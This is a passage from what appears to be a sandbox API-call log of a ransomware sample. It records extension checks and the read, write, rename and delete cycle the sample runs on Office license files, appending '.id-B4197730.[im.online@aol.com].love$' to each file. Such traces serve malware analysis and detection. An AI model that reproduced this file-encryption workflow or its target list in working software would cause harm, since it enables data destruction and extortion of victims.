Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0257.066] lstrlenW (lpString=".doc") returned 4 [0257.066] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0257.066] lstrlenW (lpString=".docx") returned 5 [0257.066] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0257.066] lstrlenW (lpString=".pdf") returned 4 [0257.066] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0257.066] lstrlenW (lpString=".xls") returned 4 [0257.066] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0257.066] lstrlenW (lpString=".xlsx") returned 5 [0257.066] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0257.066] lstrlenW (lpString=".ppt") returned 4 [0257.066] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0257.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0257.067] lstrlenW (lpString=".zip") returned 4 [0257.067] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0257.067] lstrlenW (lpString=".rar") returned 4 [0257.067] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0257.067] lstrlenW (lpString=".bz2") returned 4 [0257.067] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0257.067] lstrlenW (lpString=".7z") returned 3 [0257.067] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0257.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0257.067] lstrlenW (lpString=".dbf") returned 4 [0257.067] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0257.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0257.067] lstrlenW (lpString=".1cd") returned 4 [0257.067] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0257.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0257.067] lstrlenW (lpString=".jpg") returned 4 [0257.067] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0257.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0257.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0257.067] lstrlenW (lpString=".doc") returned 4 [0257.067] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0257.067] lstrlenW (lpString=".docx") returned 5 [0257.067] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0257.067] lstrlenW (lpString=".pdf") returned 4 [0257.067] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0257.067] lstrlenW (lpString=".xls") returned 4 [0257.067] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0257.067] lstrlenW (lpString=".xlsx") returned 5 [0257.067] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0257.068] lstrlenW (lpString=".ppt") returned 4 [0257.068] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0257.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0257.068] lstrlenW (lpString=".zip") returned 4 [0257.068] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0257.068] lstrlenW (lpString=".rar") returned 4 [0257.068] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0257.068] lstrlenW (lpString=".bz2") returned 4 [0257.068] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0257.068] lstrlenW (lpString=".7z") returned 3 [0257.068] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0257.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0257.068] lstrlenW (lpString=".dbf") returned 4 [0257.068] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0257.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0257.068] lstrlenW (lpString=".1cd") returned 4 [0257.068] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0257.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_KMS_Client-ppd.xrm-ms") returned 80 [0257.068] lstrlenW (lpString=".jpg") returned 4 [0257.068] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0257.069] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0257.069] lstrlenW (lpString="AccessVL_MAK-ul-phn.xrm-ms") returned 26 [0257.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0257.070] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=19926) returned 1 [0257.070] CloseHandle (hObject=0x538) returned 1 [0257.070] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-phn.xrm-ms")) returned 0x220 [0257.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-phn.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0257.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0257.071] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.071] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-phn.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0257.073] GetLastError () returned 0x0 [0257.073] ReadFile (in: hFile=0x538, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x4dd6, lpOverlapped=0x0) returned 1 [0257.076] WriteFile (in: hFile=0x4e4, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x4de0, lpOverlapped=0x0) returned 1 [0257.077] ReadFile (in: hFile=0x538, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0257.077] WriteFile (in: hFile=0x4e4, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x108, lpOverlapped=0x0) returned 1 [0257.077] SetEndOfFile (hFile=0x4e4) returned 1 [0257.078] CloseHandle (hObject=0x4e4) returned 1 [0257.078] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.078] SetEndOfFile (hFile=0x538) returned 1 [0257.084] CloseHandle (hObject=0x538) returned 1 [0257.085] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0257.085] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessvl_mak-ul-phn.xrm-ms")) returned 1 [0257.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0257.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0257.087] lstrlenW (lpString=".doc") returned 4 [0257.087] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0257.087] lstrlenW (lpString=".docx") returned 5 [0257.087] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0257.087] lstrlenW (lpString=".pdf") returned 4 [0257.087] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0257.087] lstrlenW (lpString=".xls") returned 4 [0257.087] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0257.087] lstrlenW (lpString=".xlsx") returned 5 [0257.087] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0257.087] lstrlenW (lpString=".ppt") returned 4 [0257.087] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0257.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0257.087] lstrlenW (lpString=".zip") returned 4 [0257.087] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0257.087] lstrlenW (lpString=".rar") returned 4 [0257.087] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0257.087] lstrlenW (lpString=".bz2") returned 4 [0257.087] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0257.087] lstrlenW (lpString=".7z") returned 3 [0257.087] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0257.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0257.087] lstrlenW (lpString=".dbf") returned 4 [0257.088] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0257.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0257.088] lstrlenW (lpString=".1cd") returned 4 [0257.088] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0257.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0257.088] lstrlenW (lpString=".jpg") returned 4 [0257.088] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0257.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0257.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0257.088] lstrlenW (lpString=".doc") returned 4 [0257.088] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0257.088] lstrlenW (lpString=".docx") returned 5 [0257.088] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0257.088] lstrlenW (lpString=".pdf") returned 4 [0257.088] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0257.088] lstrlenW (lpString=".xls") returned 4 [0257.088] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0257.088] lstrlenW (lpString=".xlsx") returned 5 [0257.088] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0257.088] lstrlenW (lpString=".ppt") returned 4 [0257.088] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0257.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0257.088] lstrlenW (lpString=".zip") returned 4 [0257.089] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0257.089] lstrlenW (lpString=".rar") returned 4 [0257.089] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0257.089] lstrlenW (lpString=".bz2") returned 4 [0257.089] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0257.089] lstrlenW (lpString=".7z") returned 3 [0257.089] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0257.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0257.089] lstrlenW (lpString=".dbf") returned 4 [0257.089] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0257.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0257.089] lstrlenW (lpString=".1cd") returned 4 [0257.089] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0257.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessVL_MAK-ul-phn.xrm-ms") returned 76 [0257.089] lstrlenW (lpString=".jpg") returned 4 [0257.089] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0257.089] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0257.089] lstrlenW (lpString="client-issuance-bridge-office.xrm-ms") returned 36 [0257.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-bridge-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0257.091] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=3211) returned 1 [0257.091] CloseHandle (hObject=0x538) returned 1 [0257.091] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-bridge-office.xrm-ms")) returned 0x220 [0257.091] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-bridge-office.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0257.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-bridge-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0257.092] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.092] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-bridge-office.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0257.093] GetLastError () returned 0x0 [0257.093] ReadFile (in: hFile=0x538, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0xc8b, lpOverlapped=0x0) returned 1 [0257.237] WriteFile (in: hFile=0x4e4, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0xc90, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0xc90, lpOverlapped=0x0) returned 1 [0257.239] ReadFile (in: hFile=0x538, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0257.239] WriteFile (in: hFile=0x4e4, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x11c, lpOverlapped=0x0) returned 1 [0257.239] SetEndOfFile (hFile=0x4e4) returned 1 [0257.239] CloseHandle (hObject=0x4e4) returned 1 [0257.240] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.240] SetEndOfFile (hFile=0x538) returned 1 [0257.283] CloseHandle (hObject=0x538) returned 1 [0257.283] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0257.283] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-bridge-office.xrm-ms")) returned 1 [0257.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0257.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0257.285] lstrlenW (lpString=".doc") returned 4 [0257.285] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0257.285] lstrlenW (lpString=".docx") returned 5 [0257.285] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0257.285] lstrlenW (lpString=".pdf") returned 4 [0257.285] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0257.285] lstrlenW (lpString=".xls") returned 4 [0257.285] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0257.285] lstrlenW (lpString=".xlsx") returned 5 [0257.285] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0257.285] lstrlenW (lpString=".ppt") returned 4 [0257.285] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0257.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0257.285] lstrlenW (lpString=".zip") returned 4 [0257.285] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0257.285] lstrlenW (lpString=".rar") returned 4 [0257.285] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0257.285] lstrlenW (lpString=".bz2") returned 4 [0257.285] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0257.285] lstrlenW (lpString=".7z") returned 3 [0257.285] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0257.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0257.285] lstrlenW (lpString=".dbf") returned 4 [0257.285] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0257.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0257.285] lstrlenW (lpString=".1cd") returned 4 [0257.285] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0257.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0257.286] lstrlenW (lpString=".jpg") returned 4 [0257.286] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0257.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0257.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0257.286] lstrlenW (lpString=".doc") returned 4 [0257.286] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0257.286] lstrlenW (lpString=".docx") returned 5 [0257.286] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0257.286] lstrlenW (lpString=".pdf") returned 4 [0257.286] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0257.286] lstrlenW (lpString=".xls") returned 4 [0257.286] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0257.286] lstrlenW (lpString=".xlsx") returned 5 [0257.286] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0257.286] lstrlenW (lpString=".ppt") returned 4 [0257.286] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0257.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0257.286] lstrlenW (lpString=".zip") returned 4 [0257.286] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0257.286] lstrlenW (lpString=".rar") returned 4 [0257.286] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0257.286] lstrlenW (lpString=".bz2") returned 4 [0257.286] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0257.286] lstrlenW (lpString=".7z") returned 3 [0257.286] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0257.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0257.286] lstrlenW (lpString=".dbf") returned 4 [0257.286] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0257.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0257.286] lstrlenW (lpString=".1cd") returned 4 [0257.287] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0257.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-bridge-office.xrm-ms") returned 86 [0257.287] lstrlenW (lpString=".jpg") returned 4 [0257.287] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0257.287] lstrcmpiW (lpString1=".xrm-ms", lpString2=".love$") returned 1 [0257.287] lstrlenW (lpString="client-issuance-stil.xrm-ms") returned 27 [0257.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-stil.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0257.289] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=3380) returned 1 [0257.289] CloseHandle (hObject=0x538) returned 1 [0257.289] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-stil.xrm-ms")) returned 0x220 [0257.290] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-stil.xrm-ms.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0257.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-stil.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0257.290] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.290] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-stil.xrm-ms.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0257.291] GetLastError () returned 0x0 [0257.291] ReadFile (in: hFile=0x538, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0xd34, lpOverlapped=0x0) returned 1 [0257.804] WriteFile (in: hFile=0x418, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0xd40, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0xd40, lpOverlapped=0x0) returned 1 [0257.806] ReadFile (in: hFile=0x538, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0257.806] WriteFile (in: hFile=0x418, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x10a, lpOverlapped=0x0) returned 1 [0257.806] SetEndOfFile (hFile=0x418) returned 1 [0257.806] CloseHandle (hObject=0x418) returned 1 [0257.806] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.806] SetEndOfFile (hFile=0x538) returned 1 [0257.810] CloseHandle (hObject=0x538) returned 1 [0257.810] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0258.272] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-stil.xrm-ms")) returned 1 [0258.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0258.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0258.274] lstrlenW (lpString=".doc") 